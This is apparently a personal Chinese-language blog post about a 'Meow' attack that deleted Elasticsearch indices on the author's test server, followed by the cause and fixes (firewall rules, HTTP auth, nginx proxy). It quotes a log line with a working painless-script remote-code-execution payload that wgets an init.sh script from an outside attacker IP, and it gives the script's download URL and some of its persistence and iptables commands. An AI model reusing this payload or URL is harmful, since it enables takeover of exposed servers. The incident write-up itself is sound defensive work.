
07月29日,早上一來,照例先連接Elasticsearch查看日志【禁止轉載,by @CoderBaby】,結果,咦,什么情況,相關索引被刪除了(當天正在寫入數據的索引,不能被刪除),產生了一堆以Meow結尾的奇奇怪怪的索引,如下圖:

一陣緊張、懵逼,趕緊查看日志,發現如下問題:系統在遠程連接並下載執行一個腳本,如下(慌張):
[2020-07-28T14:02:02,540][DEBUG][o.e.a.s.TransportSearchAction] [m3egspncll-meow][0], node[CnXg4eVSSd-Wsp_otUjL7A], [P], s[STARTED], a[id=cLeu7vMiSAy6X-45si-50w]: Failed to execute [SearchRequest{searchType=QUERY_THEN_FETCH, indices=[], indicesOptions=IndicesOptions[id=38, ignore_unavailable=false, allow_no_indices=true, expand_wildcards_open=true, expand_wildcards_closed=false, allow_alisases_to_multiple_indices=true, forbid_closed_indices=true], types=[], routing='null', preference='null', requestCache=null, scroll=null, maxConcurrentShardRequests=5, batchedReduceSize=512, preFilterShardSize=128, source={ "size" : 1, "script_fields" : { "lupin" : { "script" : { "source" : "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh -P /tmp/sssooo\").getText()", "lang" : "painless" }, "ignore_failure" : false } } }}] lastShard [true]
查看整個腳本,可以看到,里面在修改防火牆配置、串改系統安全加固、設置watchdog等等(害怕),腳本部分相關代碼如下(腳本可到:http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh 下載):
chmod 777 /tmp/networkservice chattr +i /tmp/networkservice chmod 777 /tmp/sysguard chattr +i /tmp/sysguard iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP iptables -I INPUT -s 43.245.222.57 -j DROP service iptables reload
然后一通google,發現騰訊安全團隊和國外一個安全的哥們已發現此問題,如下(截止7月24日,他們發現已經有1779個Elasticsearch和MongoDB受到攻擊):

可以去作者Twitter賬號(梯子請自備 https://twitter.com/MayhemDayOne?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1286577695946608640%7Ctwgr%5E&ref_url=https%3A%2F%2Fwww.searchenginejournal.com%2Fmeow-attack%2F375764%2F)關注Meow攻擊的后續進展,截止筆者發稿(8月5日),還有最新的進展:
【后續進展】
7月27號,攻擊者會讓受害者轉到一個支付鏈接:

7月28號,有更多的受害者的數據被刪除:

【問題原因】
Elasticsearch默認會對外開放9200端口,便於遠程通過插件(如Elasticsearch-head)訪問和管理。連接到服務器端口的任何個人和組織,就可以通過調用相應的API進行增刪改查。
【解決方案】
(1)開啟防火牆(service iptables start),或者關閉9200端口(iptables -A INPUT -p tcp --dport 9200 -j DROP),如需開放9200端口,建議在安全組限制只允許指定IP才能訪問
(2)在config/elasticsearch.yml中為9200端口設置認證,相關配置參數可參考:
http.basic.enabled true #啟動認證,開啟會接管全部HTTP連接 http.basic.user "admin" #配置認證賬號 http.basic.password "admin_pw" #配置認證密碼 http.basic.ipwhitelist ["localhost", "127.0.0.1"] #白名單
(3)使用Nginx搭建反向代理,通過配置Nginx實現對Elasticsearch的認證
參考
(1)https://www.searchenginejournal.com/meow-attack/375764/#close
后記:
還好本人受攻擊的只是測試服務器上的實驗數據,后面果斷公司賣出的服務器相關Elasticsearch開放端口全部關閉;
之所以被稱為Meow攻擊,是這個攻擊在日志里會留下“Meow”的相關字符,並且創建以“Meow”為結尾的索引,可愛的喵星人,meow...
*******************************************************************************
精力有限,想法太多,專注做好一件事就行
- 我只是一個程序猿。5年內把代碼寫好,技術博客字字推敲,堅持零拷貝和原創
- 寫博客的意義在於打磨文筆,訓練邏輯條理性,加深對知識的系統性理解;如果恰好又對別人有點幫助,那真是一件令人開心的事
*******************************************************************************
